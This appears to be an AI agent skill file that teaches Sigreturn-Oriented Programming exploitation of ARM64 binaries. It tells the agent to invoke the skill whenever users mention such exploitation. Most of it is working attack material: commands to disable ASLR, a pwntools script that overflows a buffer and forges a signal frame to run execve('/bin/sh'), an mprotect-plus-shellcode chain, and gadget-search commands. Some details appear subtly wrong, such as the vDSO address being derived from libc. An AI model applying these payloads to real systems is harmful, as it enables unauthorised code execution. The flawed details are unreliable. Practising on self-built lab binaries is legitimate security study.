| name | srop-arm64-exploitation |
| description | How to perform Sigreturn-Oriented Programming (SROP) attacks on ARM64 binaries. Use this skill whenever the user mentions SROP, sigreturn exploitation, ARM64 binary exploitation, signal frame manipulation, or needs to exploit buffer overflows on AArch64 systems. This skill covers creating vulnerable test binaries, crafting SigreturnFrame payloads, finding sigreturn gadgets automatically, and chaining SROP with ROP for advanced exploitation. |
SROP (Sigreturn-Oriented Programming) on ARM64
This skill teaches you how to perform SROP attacks on ARM64 binaries by manipulating signal frames to control register state and execute arbitrary syscalls.
When to Use This Skill
Use this skill when:
- You need to exploit a buffer overflow on an ARM64 binary
- You want to understand or practice SROP techniques
- You need to craft
SigreturnFrame payloads with pwntools
- You're looking for
sigreturn gadgets in binaries or vDSO
- You want to chain SROP with ROP for advanced exploitation
- You're working with ARM64 signal handling vulnerabilities
Core Concept
SROP abuses the rt_sigreturn system call to restore arbitrary register state. By overwriting the return address to point to a sigreturn gadget and placing a crafted signal frame on the stack, you can control all general-purpose registers and pstate, then execute arbitrary syscalls like execve.
Quick Start: Basic SROP Exploit
Step 1: Set up the environment
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
pip install pwntools ROPgadget
Step 2: Create a vulnerable test binary
Use the helper script to create a practice binary:
python3 scripts/create_srop_test_binary.py
This creates srop_test with a buffer overflow vulnerability.
Step 3: Write the exploit
from pwn import *
p = process('./srop_test')
elf = context.binary = ELF('./srop_test')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
binsh = next(libc.search(b"/bin/sh"))
sigreturn_gadget = find_sigreturn_gadget(elf)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binsh
frame.x1 = 0
frame.x2 = 0
frame.pc = sigreturn_gadget
stack_offset = 72
payload = b'A' * stack_offset
payload += p64(sigreturn_gadget)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Finding Sigreturn Gadgets
Method 1: Using ROPgadget
python3 -m ROPGadget --binary /proc/$(pgrep srop_test)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
python3 scripts/find_sigreturn_gadgets.py ./srop_test
Method 2: Using rp++
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"
Method 3: Check vDSO
The vDSO page often contains a sigreturn trampoline at offset 0x7b0:
vdso_sigreturn = libc.address + 0x7b0
Advanced: Chaining SROP with ROP
Use SROP to call mprotect, then pivot to executable stack:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect
frame.x0 = 0x400000
frame.x1 = 0x2000
frame.x2 = 7
frame.sp = 0x400000 + 0x100
frame.pc = sigreturn_gadget
p.send(bytes(frame))
p.send(shellcode)
Kernel Validation Considerations
Linux 5.16+ validates signal frames strictly:
uc_flags must contain UC_FP_XSTATE when extra_context is present
- Reserved words in
struct rt_sigframe must be zero
- Pointers in
extra_context must be aligned and in user space
Solution: Use pwntools>=4.10 which crafts compliant frames automatically.
PAC and BTI Considerations
Modern systems (Android 14+, Fedora 38+) use Pointer Authentication (PAC) and Branch Target Identification (BTI):
- SROP itself is unaffected - the kernel overwrites PC directly
- Subsequent ROP chains must jump to BTI-enabled instructions
sigreturn trampolines already include correct BTI landing pads
Common Syscall Numbers (ARM64)
constants.SYS_execve
constants.SYS_mprotect
constants.SYS_read
constants.SYS_write
constants.SYS_exit
Debugging Tips
- Check frame alignment: ARM64 requires 16-byte stack alignment
- Verify gadget addresses: Use
gdb to confirm sigreturn gadget works
- Test with simple syscalls first: Try
exit before execve
- Check kernel version:
uname -r - older kernels may have different validation
References